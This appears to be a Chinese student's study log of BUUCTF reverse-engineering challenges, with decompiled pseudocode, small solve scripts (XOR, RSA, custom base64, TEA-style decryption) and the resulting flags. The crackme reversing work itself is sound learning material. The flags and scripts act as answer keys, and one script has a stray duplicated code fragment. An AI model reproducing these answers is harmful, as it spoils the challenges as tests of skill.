flag{N0_M0re_Free_Bugs}

收获:

了解了哈希加密算法

了解了哈希加密中hexdigest()函数 是 Python 中 hashlib 模块中 hash 对象的一个方法。它用于获取哈希对象的十六进制表示形式。

哈希加密:

Hash加密算法是一种将任意长度的消息压缩成固定长度散列值的算法。它的特点是快速、不可逆和安全。Hash加密算法被广泛用于数字签名、数据完整性验证等信息安全领域。本文将介绍Hash加密算法的基本原理、常用算法和应用场景。

https://blog.csdn.net/javasimawanyi/article/details/131643604

image-20231128195135397

image-20231128203724526

[2019红帽杯]easyRE

2023.12.4,2024.1.25

文件后缀为.elf 第一次看见这种后缀,无壳,64位,拖入ida

进去之后找不到main函数,搜索一下找不到明显的flag,查看一下字符串

image-20240125135416056

观察图片,我们看到“You found me”,其实就可以大概判断我们所找的就为它。

观察到ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/提示为base64编码。(提示我们可能用到base64在线解密)。

我们找到它,F5反汇编一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
  v19 = __readfsqword(0x28u);//读入v19,40位
qmemcpy(v12, "Iodl>Qnb(ocy", 12);//v12="Iodl>Qnb(ocy"
v12[12] = 127;
qmemcpy(v13, "y.i", 3);//v13="y.i"
v13[3] = 127;
qmemcpy(v14, "d`3w}wek9{iy=~yL@EC", sizeof(v14));//v14="d`3w}wek9{iy=~yL@EC"
memset(v15, 0, sizeof(v15));//v15初始化
v16 = 0;
v17 = 0;
sub_4406E0(0LL, v15, 37LL);///LL为长长整型所以括号里为(0,v15,37)
////////////////////////////////////////////////////////////////////////////////////////////////////////
//sub_4406E0(0LL, v15, 37LL);函数如下:
unsigned __int64 result; // rax
__int64 v4; // rax
size_t v5; // rdx
unsigned __int64 v6; // rdx

if ( dword_6CF29C )
{
v4 = sub_443B80();
sub_443BE0(v4, a2, sys_read(a1, a2, v5));
result = v6;
if ( v6 < 0xFFFFFFFFFFFFF001LL )
return result;
goto LABEL_5;
}
result = sys_read(a1, a2, a3);
if ( result >= 0xFFFFFFFFFFFFF001LL )
{
LABEL_5:
__writefsdword(0xFFFFFFD0, -(int)result);
return -1LL;
}
return result;
}
///////////////////////////////////////////////////////////////////////////////////////////////////////
v17 = 0;
if ( sub_424BA0(v15) == 36 )
{
for ( i = 0; i < (unsigned __int64)sub_424BA0(v15); ++i )
{
if ( (unsigned __int8)(v15[i] ^ i) != v12[i] )
{
result = 4294967294LL;
goto LABEL_13;
}
}
sub_410CC0("continue!");
memset(v18, 0, 65);
sub_4406E0(0LL, v18, 64LL);
v18[39] = 0;
if ( sub_424BA0(v18) == 39 )//39转为字符为'
{
////////////////////////////////////////////////
v2 = sub_400E44(v18); //
v3 = sub_400E44(v2); //
v4 = sub_400E44(v3); //
v5 = sub_400E44(v4); //
v6 = sub_400E44(v5); //
v7 = sub_400E44(v6); //这里的 sub_400E44//
v8 = sub_400E44(v7); //为base64编码 //
v9 = sub_400E44(v8); //
v10 = sub_400E44(v9); //
v11 = sub_400E44(v10); //
////////////////////////////////////////////////
if ( !(unsigned int)sub_400360(v11, off_6CC090) )
{
sub_410CC0("You found me!!!");
sub_410CC0("bye bye~");
}
result = 0LL;
}
else
{
result = 4294967293LL;
}
}
else
{
result = 0xFFFFFFFFLL;
}
LABEL_13:
if ( __readfsqword(0x28u) != v19 )
sub_444020();
return result;
}

有点难,看的别人的wp

[BUUCTF逆向题2019红帽杯]easyRE_2019红帽杯easyre-CSDN博客

[MRCTF2020]Transform1

2024.4.5

无壳,64位

搜一下flag,F5反汇编,直接分析一下

看了一下,最主要的部分,就是一个简单的异或,这里用到了python的数据,翻了一翻笔记。

函数整体也不多,分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
  sub_402230(argc, argv, envp);
sub_40E640("Give me your code:\n");
sub_40E5F0("%s", Str);
//简单的输入scanf
///////////////////////////////////////////////////////////////////////////
if ( strlen(Str) != 33 )
{
sub_40E640("Wrong!\n");
system("pause");
exit(0);
}
///这里只是提醒你输入字符串的长度
////////////////////////////////////////////////////////////////////////////
for ( i = 0; i <= 32; ++i )
{
byte_414040[i] = Str[dword_40F040[i]];
byte_414040[i] ^= LOBYTE(dword_40F040[i]);
}
//这里有一个简单的异或运算,应该是要仔细查看一下
//////////////////////////////////////////////////////////////////////////////////
for ( j = 0; j <= 32; ++j )
{
if ( byte_40F0E0[j] != byte_414040[j] )
{
sub_40E640("Wrong!\n");
system("pause");
exit(0);
}
}
sub_40E640("Right!Good Job!\n");
sub_40E640("Here is your flag: %s\n", Str);
system("pause");
return 0;
}
//这里就是告诉我们当这两个数组相等时为我们所求。
//异或得出的我们的flag
///////////////////////////////////////////////////////////////////

分析的差不多,都点开看一下

image-20240405202651410

这里我们也是看到了几个我们知道的数组了,然后我们就可以进行编写脚本了。

(python数据提取得到两个数组的值)好像也不是太好使,手搓吧。

1
2
3
4
5
6
7
8
9
10
11
dword_40F040=[0x9,0xa,0xf,0x17,0x7,0x18,0x0c,0x6,0x1,0x10,0x3,0x11,0x20,0x1d,0x0b,0x1e,0x1b,0x16,0x4,0x0d,0x13,0x14,0x15,0x2,0x19,0x5,0x1f,0x8,0x12,0x1a,0x1c,0x0e,0x8,0]

byte_40F0E0=[0x67, 0x79, 0x7B, 0x7F, 0x75, 0x2B, 0x3C, 0x52, 0x53, 0x79, 0x57, 0x5E, 0x5D, 0x42, 0x7B, 0x2D, 0x2A, 0x66, 0x42, 0x7E, 0x4C, 0x57,0x79, 0x41, 0x6B, 0x7E, 0x65, 0x3C, 0x5C, 0x45, 0x6F, 0x62, 0x4D,0x3F,0]

str=[0]*33

for i in range (0,32):
byte_40F0E0[i] ^= dword_40F040[i]
str[dword_40F040[i]]= byte_40F0E0[i]

print (''.join([chr(x) for x in str]))

最后得到flag,MRCTF{Tr4nsp0sltiON_Clph3r_1s_3z}

​ 但是我们再上交BUUCTF的时候为flag{Tr4nsp0sltiON_Clph3r_1s_3z}

[WUSTCTF2020]level21

2024.4.6

32位,有壳

​ upx脱一下壳子

​ [使用upx脱壳工具脱壳-CSDN博客](https://blog.csdn.net/qq_53532337/article/details/120571437#:~:text=脱壳 首先安装工具,解压完之后进入到最里层文件夹中复制下来此时的地址,cmd打开命令行先cd把地址转换,之后直接输入upx.exe,-h安装完成 会出现这样(一大串) 之后就可以脱壳了,还在这个窗口,因为刚刚已经把地址转到了upx脱壳工具这里了,所以这下不用再转,(下次打开需要重新转))

我们用ida打开,F5反汇编,看一下

image-20240406204223468

啊?点一下了main函数,就看见了flag,都不用反汇编。

​ wctf2020{Just_upx_-d}

行!

[SUCTF2019]SignIn1

2024.4,7

64位,无壳

​ 进去找到main函数,F5进行反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
  v10 = __readfsqword(0x28u);
puts("[sign in]");
printf("[input your flag]: ");
__isoc99_scanf("%99s", v8);
//输入99个字符
///////////////////////////////////////////////////////////////////////////
sub_96A(v8, v9);
//这里v8.v9进行了一个函数变换
///////////////////////////////////////////////
__gmpz_init_set_str(v7, "ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35", 16LL);
__gmpz_init_set_str(v6, v9, 16LL);
__gmpz_init_set_str(v4, "103461035900816914121390101299049044413950405173712170434161686539878160984549", 10LL);
__gmpz_init_set_str(v5, "65537", 10LL);
__gmpz_powm(v6, v6, v5, v4);
//////////////////////////////////////////////////////
if ( (unsigned int)__gmpz_cmp(v6, v7) )
puts("GG!");//这里应该就是结束的部分
else
puts("TTTTTTTTTTql!");
//////////////////////////////////////////////////////
return 0LL;
}

根据上面的函数,应该猜出v6和v7相等的时候,为我们所要的结果

我们知道了v7的值为ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35(64位,可能位base64)

​ 还知道v4的值为103461035900816914121390101299049044413950405173712170434161686539878160984549

​ 和v5的值为65537

这里就没什么思路了,上网搜了一下结果是在这里有个加密

​ __gmpz_powm(v6, v6, v5, v4);

上网搜索一下_gmpz_powm函数

buuctf——(SUCTF2019)SignIn-CSDN博客

​ 加密方法和rsa一样,上网找找脚本

首先知道密文为c=ad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35

​ 模数n=103461035900816914121390101299049044413950405173712170434161686539878160984549

​ 指数e=65537

再用在线工具求p和q。

然后进行大素数的分解

链接: http://factordb.com/index.php

image-20240407182457612

我们知道了p和q

p=282164587459512124844245113950593348271

q=366669102002966856876605669837014229419

找一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
import binascii

p=282164587459512124844245113950593348271
q=366669102002966856876605669837014229419
c =0xad939ff59f6e70bcbfad406f2494993757eee98b91bc244184a377520d06fc35
n = 103461035900816914121390101299049044413950405173712170434161686539878160984549
e = 65537
d = gmpy2.invert(e, (p - 1) * (q - 1))
m = gmpy2.powmod(c, d, n)
print(binascii.unhexlify(hex(m)[2:]).decode(encoding="utf-8"))

​ suctf{Pwn_@_hundred_years}

​ 这里跟我前面做的rsa题目基本一模一样,只是密文改了!

​ 我们应该改为flag{Pwn_@_hundred_years}

[ACTF新生赛2020]usualCrypt

2024.4.7

32位,无壳。

找到main函数,F5进行反汇编,看一下函数整体不长。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  sub_403CF8(&unk_40E140);
scanf("%s", v8);
memset(v5, 0, sizeof(v5));
v6 = 0;
v7 = 0;
sub_401080(v8, strlen(v8), v5);
##上面的函数为base64编码的函数,但是我们根据下面的算法,它其实是base64的换表
##但是它在后面加了一个return

#######################################################
v3 = 0;
while ( *((_BYTE *)v5 + v3) == byte_40E0E4[v3] )
{
if ( ++v3 > strlen((const char *)v5) )
goto LABEL_6;
}
sub_403CF8(aError);
LABEL_6:
if ( v3 - 1 == strlen(byte_40E0E4) )
return sub_403CF8(aAreYouHappyYes);####这个点开看后它告诉你是yes,为我们所求
else
return sub_403CF8(aAreYouHappyNo);
}



随便点了一点

image-20240407193237816

看见了一个密文还有一个类似base64编码的字符串,其实他是运用了一下base64换表。(这里可以用在线文件解密也可以用脚本跑一下,gpt写也行。)

仔细分析一下最主要的部分就在下面的函数里。

image-20240408104947416

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __cdecl sub_401080(int a1, int a2, const char *a3)
{
v3 = 0;
v4 = 0;
sub_401000();
v5 = a2 % 3;
v6 = a1;
v7 = a2 - a2 % 3;
v15 = a2 % 3;
if ( v7 > 0 )
{
do
{
LOBYTE(v5) = *(_BYTE *)(a1 + v3);
v3 += 3;
v8 = v4 + 1;
a3[v8 - 1] = byte_40E0A0[(v5 >> 2) & 0x3F];
a3[v8++] = byte_40E0A0[16 * (*(_BYTE *)(a1 + v3 - 3) & 3) + (((int)*(unsigned __int8 *)(a1 + v3 - 2) >> 4) & 0xF)];
a3[v8++] = byte_40E0A0[4 * (*(_BYTE *)(a1 + v3 - 2) & 0xF) + (((int)*(unsigned __int8 *)(a1 + v3 - 1) >> 6) & 3)];
v5 = *(_BYTE *)(a1 + v3 - 1) & 0x3F;
v4 = v8 + 1;
a3[v4 - 1] = byte_40E0A0[v5];
}
while ( v3 < v7 );
v5 = v15;
}
if ( v5 == 1 )
{
LOBYTE(v7) = *(_BYTE *)(v3 + a1);
v9 = v4 + 1;
a3[v9 - 1] = byte_40E0A0[(v7 >> 2) & 0x3F];
v10 = v9 + 1;
a3[v10 - 1] = byte_40E0A0[16 * (*(_BYTE *)(v3 + a1) & 3)];
a3[v10] = 61;
LABEL_8:
v13 = v10 + 1;
a3[v13] = 61;
v4 = v13 + 1;
goto LABEL_9;
}
if ( v5 == 2 )
{
v11 = v4 + 1;
a3[v11 - 1] = byte_40E0A0[((int)*(unsigned __int8 *)(v3 + a1) >> 2) & 0x3F];
v12 = (_BYTE *)(v3 + a1 + 1);
LOBYTE(v6) = *v12;
v10 = v11 + 1;
a3[v10 - 1] = byte_40E0A0[16 * (*(_BYTE *)(v3 + a1) & 3) + ((v6 >> 4) & 0xF)];
a3[v10] = byte_40E0A0[4 * (*v12 & 0xF)];
goto LABEL_8;
}
LABEL_9:
a3[v4] = 0;
return sub_401030(a3);
}

分析一下就是一个base64编码,但是他在这里用了一些加密。

分别在

image-20240408105209738

1
2
3
4
5
6
7
8
9
10
11
12
13
int sub_401000()
{
int result; // eax
char v1; // cl

for ( result = 6; result < 15; ++result )
{
v1 = byte_40E0AA[result];
byte_40E0AA[result] = byte_40E0A0[result];
byte_40E0A0[result] = v1;
}
return result;
}

image-20240407202951008

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl sub_401030(const char *a1)
{
__int64 v1; // rax
char v2; // al

v1 = 0i64;
if ( strlen(a1) )
{
do
{
v2 = a1[HIDWORD(v1)];
if ( v2 < 97 || v2 > 122 )
{
if ( v2 < 65 || v2 > 90 )
goto LABEL_9;
LOBYTE(v1) = v2 + 32;
}
else
{
LOBYTE(v1) = v2 - 32;
}
a1[HIDWORD(v1)] = v1;
LABEL_9:
LODWORD(v1) = 0;
++HIDWORD(v1);
}
while ( HIDWORD(v1) < strlen(a1) );
}
return v1;
}

chat一下就可以知道,它分别是一个base64的换表和密文的转换大小写

所以我们就可以进行解密了。

已知密文=MXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9

然后逆向的时候就是先进行转换,在进行换表

转换后的密文为=mxhZ3tLGNXlXjHhfaDTzN2FfK3LycRTpc2L9

但是解密不出来,所以我看了一下wp,发现不对密文少写了个z

image-20240407205631247

所以真正的密文为zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9

转换大小写后为ZmxhZ3tiGNXlXjHfaDTzN2FfK3LycRTpc2L9

换表的时候要注意在

image-20240407210258641

分析一下byte_40E0A0=”ABCDEFGHIJ”和byte_40E0AA=”KLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/“

这里有一个换表,我们chat一下就应该知道是

这个函数对加密表进行变换,将 下标为 6 到14 的值 与 16 到24 的值进行调换

换表后为ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/

可以进行在线解密了

image-20240408112424367

所以flag为 flag{bAse64_h2s_a_Surprise}

[HDCTF2019]Maze1

2024.4.9

32位,有壳

upx脱个壳(脱壳不成功可以重命名一下),拖入ida看一看,没有找到main函数

搜索一下flag,

image-20240409194834685

看见最上面的一段话

Go through the maze to get the flag(经过迷宫找到flag)

​ 所以我们知道了是一个迷宫题。

​ 找一下迷宫在哪,不太好找,上网wp搜一下,

查看一下字符串,是这个,现在就是不知道迷宫的大小。

image-20240409195558183

在上网看看

看一下别人的wp,知道了为什么F5反汇编不了

​ [【CTF】花指令问题——HDCTF2019]Maze-腾讯云开发者社区-腾讯云 (tencent.com)

学一下nop指令

image-20240409202238611

重启之后就可以正常的F5反编译了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
  sub_401140(aGoThroughTheMa);
scanf("%14s", v5);
for ( i = 0; i <= 13; ++i )
{
switch ( v5[i] )
{
case 'a':
--dword_408078;
break;
case 'd':
++dword_408078;
break;
case 's':
--dword_40807C;
break;
case 'w':
++dword_40807C;
break;
default:
continue;
}
}
if ( dword_408078 == 5 && dword_40807C == -4 )
{
sub_401140(aCongratulation);
sub_401140(aHereIsTheFlagF);
}
else
{
sub_401140(aTryAgain);
}
return 0;
}

找到了怎么走迷宫,也很简单”awsd”

1
2
3
4
5
6
7
8
9
10
11
//把那串迷宫复制下来
//*******+**
//******* **
//**** **
//** *****
//** **F****
//** ****
//**********
//总公七十个字符(算空格),所以每行十个。
//所以根据上面的“awsd”走一下。
//"ssaaasaassdddw",无非就是+走到F,或F走到+,试一试。

所以flag{ssaaasaassdddw}

花指令实现及清除

逆向分析基础 — 花指令实现及清除_jmp花指令逆向-CSDN博客

看了也没看,等等看

[MRCTF2020]Xor

2024.4.10

32位,无壳

​ 打开,F5反汇编失败

这里的报错为

image-20240410180155180

我们找下这个地址40195

image-20240410180233193

点进去

image-20240410180254254

然后F5反汇编,发现是可以反汇编的。

image-20240410180320803

最后我们进行一下X跟进一下sub 401020函数就可以正常使用了

image-20240410180426120

函数比较简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int i; // eax

sub_401020((int)"Give Me Your Flag String:\n");
sub_401050("%s", byte_4212C0);
if ( strlen(byte_4212C0) != 27 )
{
LABEL_6:
sub_401020((int)"Wrong!\n");
sub_404B7E("pause");
_loaddll(0);
__debugbreak();
}
///////////////////////////////////////////////////////////////
for ( i = 0; i < 0x1B; ++i )
{
if ( ((unsigned __int8)i ^ (unsigned __int8)byte_4212C0[i]) != byte_41EA08[i] )
goto LABEL_6;
}
sub_401020((int)"Right!\n");
sub_404B7E("pause");
/////////////////////////////////////////////////////////
return 0;
}

根据函数,其实很简单,就是一个简单的异或。

所以就可以编写脚本了。

这里注意一下,密文还有个”M“要加上

image-20240410191557237

1
2
3
4
5
byte='MSAWB~FXZ:J:`tQJ"N@ bpdd}8g'
flag=""
for i in range (len(byte)):
flag+=chr(i^ord(byte[i]))
print(flag)

最后得到flag为 MRCTF{@_R3@1ly_E2_R3verse!} 很简单!

[MRCTF2020]hello_world_go

2024.4.10

64位,找不到main函数,搜索一下flag,就找到了

image-20240410194742790

签到题,应该

​ flag{hello_world_gogogo}

[WUSTCTF2020]level3

先放着

Youngter-drive

2024.4.10

32位,有壳

upx 脱一下壳子

找不到什么有用的

上网搜了一下,用的多线程和IDA平衡堆栈的知识!

BUUCTF_Youngter-drive_buuctf_youngter-drive_buuctf youngter-drive_zyen12-CSDN博客

放一放

相机

2024.4.11

后缀为.apk,工具为jadx

​ [BUUCTF]REVERSE——相册_reverse题 你好这是上次聚会照片-CSDN博客

看了一下别人的wp。我们用jadx打开后基本什么也找不到

image-20240411193145298

有个base64的提示,找一下密文。

把jadx解压一下,方法直接用ida打开,找到

image-20240411193301764

查看一下字符串

image-20240411193434817

找到密文就可以进行base64解密了。这里我用的在线工具

From Base64 - CyberChef

image-20240411192656434

所以flag{18218465125@163.com}

[FlareOn4]IgniteMe

2024.4.11

32位,无壳

代码不长

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __noreturn start()
{
DWORD NumberOfBytesWritten; // [esp+0h] [ebp-4h] BYREF

NumberOfBytesWritten = 0;
hFile = GetStdHandle(0xFFFFFFF6);
dword_403074 = GetStdHandle(0xFFFFFFF5);
WriteFile(dword_403074, aG1v3M3T3hFl4g, 0x13u, &NumberOfBytesWritten, 0);
sub_4010F0(NumberOfBytesWritten);
/////////////////////////////////////////
if ( sub_401050() ) ///
/////////////////////////////////////////
WriteFile(dword_403074, aG00dJ0b, 0xAu, &NumberOfBytesWritten, 0);
else
WriteFile(dword_403074, aN0tT00H0tRWe7r, 0x24u, &NumberOfBytesWritten, 0);
ExitProcess(0);
}

大概猜一下,就在这个if条件语句里了应该,点进去看看

image-20240411205456789

简单分析一下这个函数,我们可以通过调试得知,v1和v4的值

image-20240411210636407

v1=7,v4=0x04;

然后我们进行了第一个for循环

是一个简单的异或

下面的for循环分析一下应该是一个判断条件。

image-20240412194643187

找一下密文

密文如下:

image-20240411205619052

感觉是这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned char ida_chars[] =
{
13, 38, 73, 69, 42, 23, 120, 68, 43, 108,
93, 94, 69, 18, 47, 23, 43, 68, 111, 110,
86, 9, 95, 69, 71, 115, 38, 10, 13, 19,
23, 72, 66, 1, 64, 77, 12, 2, 105, 0
};
unsigned char ida_chars[] =
{
0x0D, 0x26, 0x49, 0x45, 0x2A, 0x17, 0x78, 0x44, 0x2B, 0x6C,
0x5D, 0x5E, 0x45, 0x12, 0x2F, 0x17, 0x2B, 0x44, 0x6F, 0x6E,
0x56, 0x09, 0x5F, 0x45, 0x47, 0x73, 0x26, 0x0A, 0x0D, 0x13,
0x17, 0x48, 0x42, 0x01, 0x40, 0x4D, 0x0C, 0x02, 0x69, 0x00
};

然后编写脚本跑一下,看看对不对

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#data=  [ 13,  38,  73,  69,  42,  23, 120,  68,  43, 108,  93,  94,  69,  18,  47,  23,  43,  68, 111, 110, 86,   9,  95,  69,  71, 115,  38,  10,  13,  19, 23,  72,  66,   1,  64,  77,  12,   2, 105,   0]
data=[ 0x0D, 0x26, 0x49, 0x45, 0x2A, 0x17, 0x78, 0x44, 0x2B, 0x6C,
0x5D, 0x5E, 0x45, 0x12, 0x2F, 0x17, 0x2B, 0x44, 0x6F, 0x6E,
0x56, 0x09, 0x5F, 0x45, 0x47, 0x73, 0x26, 0x0A, 0x0D, 0x13,
0x17, 0x48, 0x42, 0x01, 0x40, 0x4D, 0x0C, 0x02, 0x69]
data.reverse()
key= 0x4
flag =""


for i in range (len(data)):
flag+= chr(key^data[i])
key=ord(flag[i])


print(flag[::-1])

最后flag{R_y0u_H0t_3n0ugH_t0_1gn1t3@flare-on.com}

不过这里的脚本有个反转,解密前反转要看不太懂

[WUSTCTF2020]Cr0ssfun

2024.4.11

64位,无壳

打开main函数,F5反编译一下看看

image-20240412203936561

条件给的也很简单,就是下面这个

image-20240412204450121

点一下check,里面是这样的

image-20240412204532038

有点套娃的感觉,把他们都记录下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
a[1]='c'
a[2]='t'
a[3]='f'
a[4]='2'
a[5]='0'
a[6]='2'
a[7]='0'
a[8]='{'
a[9]='c'
a[10]='p'
a[11]='p'
a[12]='_'
a[13]='@'
a[14]='n'
a[15]='d'
a[16]='_'
a[17]='r'
a[18]='3'
a[19]='v'
a[20]='e'
a[21]='r'
a[22]='s'
a[23]='e'
a[24]='_'
a[25]='@'
a[26]='r'
a[27]='e'
a[28]='_'
a[29]='f'
a[30]='u'
a[31]='n'
a[32]='}'
a='w'

得到ctf2020{cpp_@nd_r3verse_@re_fun}

所以flag{cpp_@nd_r3verse_@re_fun},还是很简单的哈!

[GWCTF 2019]xxor

2024.4.17

64位,无壳

找到main函数,F5反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
  v7[5] = __readfsqword(0x28u);
puts("Let us play a game?");
puts("you have six chances to input");
puts("Come on!");
memset(v6, 0, 40);
for ( i = 0; i <= 5; ++i )
{
printf("%s", "input: ");
a2 = (char **)((char *)v6 + 4 * i);
__isoc99_scanf("%d", a2);
}
memset(v7, 0, 40);
for ( j = 0; j <= 2; ++j )
{
dword_601078 = v6[j];
dword_60107C = HIDWORD(v6[j]);
a2 = (char **)&unk_601060;
sub_400686(&dword_601078, &unk_601060);
LODWORD(v7[j]) = dword_601078;
HIDWORD(v7[j]) = dword_60107C;
}
if ( (unsigned int)sub_400770(v7, a2) != 1 )
{
puts("NO NO NO~ ");
exit(0);
}
puts("Congratulation!\n");
puts("You seccess half\n");
puts("Do not forget to change input to hex and combine~\n");
puts("ByeBye");
return 0LL;
}


ida远程调控没什么用!

找到最主要的判断条件!

image-20240417182030334

当v7和a2相等的时候为我们所求的。

image-20240417185605237

函数点进去看一眼,他是几个长整型的数据

1
2
3
4
5
6
7
8
9
    /////所以我们知道a1的值
a1[2] - a1[3] == 2225223423LL
a1[3] + a1[4] == 4201428739LL
a1[2] - a1[4] == 1121399208LL
*a1 == -548868226
a1[5] == -2064448480
a1[1] == 550153460
//根据上面的几个等式,解出2,3,4,这里的al我们看作a[0]
al的所有值: [-548868226, 550153460, 3774025685, 1548802262, 2652626477, -2064448480]

我们知道了al的值

调试一下可以知道a2的值

image-20240417195706729

然后就可以编写脚本了

脚本如下:

1
2
a1=[-548868226, 550153460, 3774025685, 1548802262, 2652626477, -2064448480]
a2=[2,2,3,4]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <iostream>

using namespace std;

int main()
{
__int64 a[6] = { 3746099070, 550153460, 3774025685, 1548802262, 2652626477, 2230518816 };
unsigned int a2[4] = { 2,2,3,4 };
unsigned int v3, v4;
int v5;
for (int j = 0; j <= 4; j += 2) {
v3 = a[j];
v4 = a[j + 1];
v5 = 1166789954*64;
for (int i = 0; i <= 63; ++i) {
v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 16;
v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 32;
v5 -= 1166789954;
}
a[j] = v3;
a[j + 1] = v4;
}

for (int i = 0; i < 6; ++i) {
cout << *((char*)&a[i] + 2) << *((char*)&a[i] + 1) << * ((char*)&a[i]);
}
}



r*)&a[i] + 2) << *((char*)&a[i] + 1) << * ((char*)&a[i]);
}
}

flag{re_is_great!}

脚本放一放!

[UTCTF2020]basic-re

2024.4.17

64位,ELF文件

应该是签到题

进去查看一下字符串

image-20240417205602314

​ flag{str1ngs_1s_y0ur_fr13nd}

[FlareOn6]Overlong

2024.4.17

32位,无壳

啥也没有,

新题型,没见过!

​ [buuctf刷题记录15 [FlareOn6]Overlong_buuctf[flareon6]overlong-CSDN博客

是一个简单修改源码值的题!

运行一下exe文件

image-20240418210005988

什么也没有

我们点进去,F5反汇编一下,代码很少

image-20240418205726644

简单分析一下,就是一个函数,函数把unk_4088的值给TEXT然后有TEXT一个赋值 ,然后TEXT再赋值给这个MessageBox,也就是这个窗口。然后输出

其实点进去unk_4088之后,就会发现它不止28个

image-20240418210209249

用在线工具看一下其长度,(提取一下数据,python的数据提取)

ASCII文本,十六进制,二进制,十进制,Base64转换器 (rapidtables.org)

image-20240418210410351

发现他有175个,所以我们要改一下28的值,

image-20240418210542374

​ 我们标记一下这里

image-20240418210630713

用上面的方法改一下,这里1C(28)为16进制,所以(175转为16进制为AF),改完在运行就可以得到答案了!

image-20240418204919869

flag{I_a_M_t_h_e_e_n_C_o_D_i_n_g@flare-on.com}

[FlareOn3]Challenge1

2024.4.18

32位,无壳!

找到main函数,F5反汇编!

image-20240418200200601

分析还是挺简单的,已知密文,函数进行了变换得到明文!

x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q

看一下函数!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 v8 = malloc(4 * ((a2 + 2) / 3) + 1);
if ( !v8 )
return 0;
v11 = 0;
v9 = 0;
while ( v11 < a2 )
{
v5 = *(unsigned __int8 *)(v11 + a1);
if ( ++v11 >= a2 )
{
v4 = 0;
}
else
{
v4 = *(unsigned __int8 *)(v11 + a1);
++v11;
}
if ( v11 >= a2 )
{
v3 = 0;
}
else
{
v3 = *(unsigned __int8 *)(v11 + a1);
++v11;
}
v7 = v3 + (v5 << 16) + (v4 << 8);
v8[v9] = byte_413000[(v7 >> 18) & 0x3F];
v10 = v9 + 1;
v8[v10] = byte_413000[(v7 >> 12) & 0x3F];
v8[++v10] = byte_413000[(v7 >> 6) & 0x3F];
v8[++v10] = byte_413000[v3 & 0x3F];
v9 = v10 + 1;
}
for ( i = 0; i < dword_413040[a2 % 3]; ++i )
v8[4 * ((a2 + 2) / 3) - i - 1] = 61;
v8[4 * ((a2 + 2) / 3)] = 0;
return v8;
}

我们点一下这个byte_413000,可以看见

image-20240421165731618

其实可以大概猜一下是一个base64编码。

1
ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/

image-20240421170338937

得到明文sh00ting_phish_in_a_barrel@flare-on.com

我们加一个flag{sh00ting_phish_in_a_barrel@flare-on.com}

特殊的 BASE64

2024.4.21

64位,无壳

image-20240421170928422

看一下感觉是一个换表的base64!

image-20240421171107338

flag{Special_Base64_By_Lich}

比较简单!

[ACTF新生赛2020]Oruga

2024.4.21

64位,ELF文件,无壳

找到main函数,F5反汇编

函数整体不难

image-20240421190749630

image-20240421190714381

flag的形式为actf{}

我们继续看函数sub_59ACA960078A

image-20240421191224819

其实看见W(上)E(右)M(下)J(左)

应该可以想到是迷宫题

进入sub_78A函数。

分析代码可知这是个迷宫题

map为word_201020且每16个为一行。

W,E,M,J分别是 上,右,下,左

从左上角开是到“!(33)”结束

image-20240421191641566

第二个while是说:

在最左的一列不能左走

在最右的一列不能右走

在最下的一列不能下走

在最上的一列不能上走

找到迷宫提取一下、

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
unsigned char ida_chars[] =
{
0, 0, 0, 0, 35, 0, 0, 0, 0, 0,
0, 0, 35, 35, 35, 35, 0, 0, 0, 35,
35, 0, 0, 0, 79, 79, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
79, 79, 0, 80, 80, 0, 0, 0, 0, 0,
